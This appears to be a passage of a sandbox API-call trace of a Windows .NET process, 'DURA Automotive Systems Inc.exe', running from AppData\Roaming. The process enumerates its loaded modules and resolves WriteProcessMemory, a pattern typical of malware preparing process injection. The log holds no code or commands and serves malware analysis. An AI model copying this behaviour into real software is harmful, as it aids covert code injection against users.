	[0175.435] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.436] GetLastError () returned 0xcb
	[0175.436] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x253d454, cb=0xc | out: lpmodinfo=0x253d454*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.436] GetLastError () returned 0xcb
	[0175.436] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.437] GetLastError () returned 0xcb
	[0175.437] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.438] GetLastError () returned 0xcb
	[0175.438] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x253e5e0, cb=0xc | out: lpmodinfo=0x253e5e0*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.438] GetLastError () returned 0xcb
	[0175.438] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.439] GetLastError () returned 0xcb
	[0175.439] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.439] GetLastError () returned 0xcb
	[0175.439] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x253f7c4, cb=0xc | out: lpmodinfo=0x253f7c4*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.440] GetLastError () returned 0xcb
	[0175.440] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.441] GetLastError () returned 0xcb
	[0175.441] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.441] GetLastError () returned 0xcb
	[0175.441] CloseHandle (hObject=0x1e8) returned 1
	[0175.441] GetLastError () returned 0xcb
	[0175.449] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0xede037ce, Data2=0xd106, Data3=0x4a33, Data4=([0]=0x92, [1]=0xfb, [2]=0x8c, [3]=0xd7, [4]=0x16, [5]=0x16, [6]=0x77, [7]=0x7f))) returned 0x0
	[0175.459] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0xbd9a5b03, Data2=0x568e, Data3=0x4244, Data4=([0]=0x82, [1]=0xc, [2]=0xc, [3]=0x65, [4]=0x90, [5]=0x6c, [6]=0x70, [7]=0xcb))) returned 0x0
	[0175.466] GetProcAddress (hModule=0x75960000, lpProcName="WriteProcessMemory") returned 0x7598d9e0
	[0175.473] GetCurrentProcessId () returned 0x530
	[0175.473] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.473] GetLastError () returned 0xcb
	[0175.473] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x254befc, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x254befc, lpcbNeeded=0x33dec4) returned 1
	[0175.473] GetLastError () returned 0xcb
	[0175.473] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x254c03c, cb=0xc | out: lpmodinfo=0x254c03c*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.473] GetLastError () returned 0xcb
	[0175.473] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.473] GetLastError () returned 0xcb
	[0175.474] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.474] GetLastError () returned 0xcb
	[0175.474] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x254d1fc, cb=0xc | out: lpmodinfo=0x254d1fc*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.474] GetLastError () returned 0xcb
	[0175.474] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.474] GetLastError () returned 0xcb
	[0175.474] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.474] GetLastError () returned 0xcb
	[0175.474] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x254e2f0, cb=0xc | out: lpmodinfo=0x254e2f0*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.474] GetLastError () returned 0xcb
	[0175.474] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.474] GetLastError () returned 0xcb
	[0175.475] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.475] GetLastError () returned 0xcb
	[0175.475] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x254f3ec, cb=0xc | out: lpmodinfo=0x254f3ec*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.475] GetLastError () returned 0xcb
	[0175.475] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.475] GetLastError () returned 0xcb
	[0175.475] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.475] GetLastError () returned 0xcb
	[0175.475] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x25504f0, cb=0xc | out: lpmodinfo=0x25504f0*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.475] GetLastError () returned 0xcb
	[0175.476] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.476] GetLastError () returned 0xcb
	[0175.476] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.476] GetLastError () returned 0xcb
	[0175.476] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x255162c, cb=0xc | out: lpmodinfo=0x255162c*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.476] GetLastError () returned 0xcb
	[0175.476] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.476] GetLastError () returned 0xcb
	[0175.476] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.477] GetLastError () returned 0xcb
	[0175.477] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x2552730, cb=0xc | out: lpmodinfo=0x2552730*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.477] GetLastError () returned 0xcb
	[0175.477] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.477] GetLastError () returned 0xcb
	[0175.477] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.477] GetLastError () returned 0xcb
	[0175.477] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x255382c, cb=0xc | out: lpmodinfo=0x255382c*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.477] GetLastError () returned 0xcb
	[0175.478] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.478] GetLastError () returned 0xcb
	[0175.478] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.478] GetLastError () returned 0xcb
	[0175.478] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x2554928, cb=0xc | out: lpmodinfo=0x2554928*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.478] GetLastError () returned 0xcb
	[0175.478] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.478] GetLastError () returned 0xcb
	[0175.478] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.479] GetLastError () returned 0xcb
	[0175.479] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x2555a74, cb=0xc | out: lpmodinfo=0x2555a74*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.479] GetLastError () returned 0xcb
	[0175.479] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.479] GetLastError () returned 0xcb
	[0175.479] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.480] GetLastError () returned 0xcb
	[0175.480] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x2556b70, cb=0xc | out: lpmodinfo=0x2556b70*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.480] GetLastError () returned 0xcb
	[0175.480] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.480] GetLastError () returned 0xcb
	[0175.480] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.480] GetLastError () returned 0xcb
	[0175.480] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x2557c74, cb=0xc | out: lpmodinfo=0x2557c74*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.481] GetLastError () returned 0xcb
	[0175.481] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.481] GetLastError () returned 0xcb
	[0175.481] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.481] GetLastError () returned 0xcb
	[0175.481] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x2558dac, cb=0xc | out: lpmodinfo=0x2558dac*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.481] GetLastError () returned 0xcb
	[0175.481] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.482] GetLastError () returned 0xcb
	[0175.482] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.482] GetLastError () returned 0xcb
	[0175.482] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x2559ea8, cb=0xc | out: lpmodinfo=0x2559ea8*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.482] GetLastError () returned 0xcb
	[0175.482] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.483] GetLastError () returned 0xcb
	[0175.483] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.483] GetLastError () returned 0xcb
	[0175.483] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x255af9c, cb=0xc | out: lpmodinfo=0x255af9c*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.483] GetLastError () returned 0xcb
	[0175.483] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.484] GetLastError () returned 0xcb
	[0175.484] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.484] GetLastError () returned 0xcb
	[0175.484] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x255c098, cb=0xc | out: lpmodinfo=0x255c098*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.484] GetLastError () returned 0xcb
	[0175.484] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.485] GetLastError () returned 0xcb
	[0175.485] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.485] GetLastError () returned 0xcb
	[0175.485] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x255d184, cb=0xc | out: lpmodinfo=0x255d184*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.485] GetLastError () returned 0xcb
	[0175.485] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.486] GetLastError () returned 0xcb
	[0175.486] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.486] GetLastError () returned 0xcb
	[0175.486] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x255e308, cb=0xc | out: lpmodinfo=0x255e308*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.486] GetLastError () returned 0xcb
	[0175.486] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.487] GetLastError () returned 0xcb
	[0175.487] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.487] GetLastError () returned 0xcb
	[0175.487] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x255f3fc, cb=0xc | out: lpmodinfo=0x255f3fc*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.487] GetLastError () returned 0xcb
	[0175.487] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.488] GetLastError () returned 0xcb
	[0175.488] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.488] GetLastError () returned 0xcb
	[0175.488] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x25604f0, cb=0xc | out: lpmodinfo=0x25604f0*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.488] GetLastError () returned 0xcb
	[0175.489] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.489] GetLastError () returned 0xcb
	[0175.489] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.489] GetLastError () returned 0xcb
	[0175.489] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x2561628, cb=0xc | out: lpmodinfo=0x2561628*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.490] GetLastError () returned 0xcb
	[0175.490] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.490] GetLastError () returned 0xcb
	[0175.490] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.491] GetLastError () returned 0xcb
	[0175.491] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x25627bc, cb=0xc | out: lpmodinfo=0x25627bc*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.491] GetLastError () returned 0xcb
	[0175.492] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.492] GetLastError () returned 0xcb
	[0175.492] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.493] GetLastError () returned 0xcb
	[0175.493] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x25638b8, cb=0xc | out: lpmodinfo=0x25638b8*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.493] GetLastError () returned 0xcb
	[0175.493] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.494] GetLastError () returned 0xcb
	[0175.494] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.494] GetLastError () returned 0xcb
	[0175.494] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x25649ac, cb=0xc | out: lpmodinfo=0x25649ac*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.495] GetLastError () returned 0xcb
	[0175.495] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.495] GetLastError () returned 0xcb
	[0175.495] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.496] GetLastError () returned 0xcb
	[0175.496] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x2565aa8, cb=0xc | out: lpmodinfo=0x2565aa8*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.496] GetLastError () returned 0xcb
	[0175.497] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.497] GetLastError () returned 0xcb
	[0175.497] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.498] GetLastError () returned 0xcb
	[0175.498] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x2566c40, cb=0xc | out: lpmodinfo=0x2566c40*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.498] GetLastError () returned 0xcb
	[0175.498] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.499] GetLastError () returned 0xcb
	[0175.499] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.499] GetLastError () returned 0xcb
	[0175.499] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x2567d3c, cb=0xc | out: lpmodinfo=0x2567d3c*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.500] GetLastError () returned 0xcb
	[0175.500] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.500] GetLastError () returned 0xcb
	[0175.501] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.501] GetLastError () returned 0xcb
	[0175.501] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x2568e74, cb=0xc | out: lpmodinfo=0x2568e74*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.502] GetLastError () returned 0xcb
	[0175.502] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.502] GetLastError () returned 0xcb
	[0175.502] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.503] GetLastError () returned 0xcb
	[0175.503] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x256a000, cb=0xc | out: lpmodinfo=0x256a000*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.504] GetLastError () returned 0xcb
	[0175.504] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.504] GetLastError () returned 0xcb
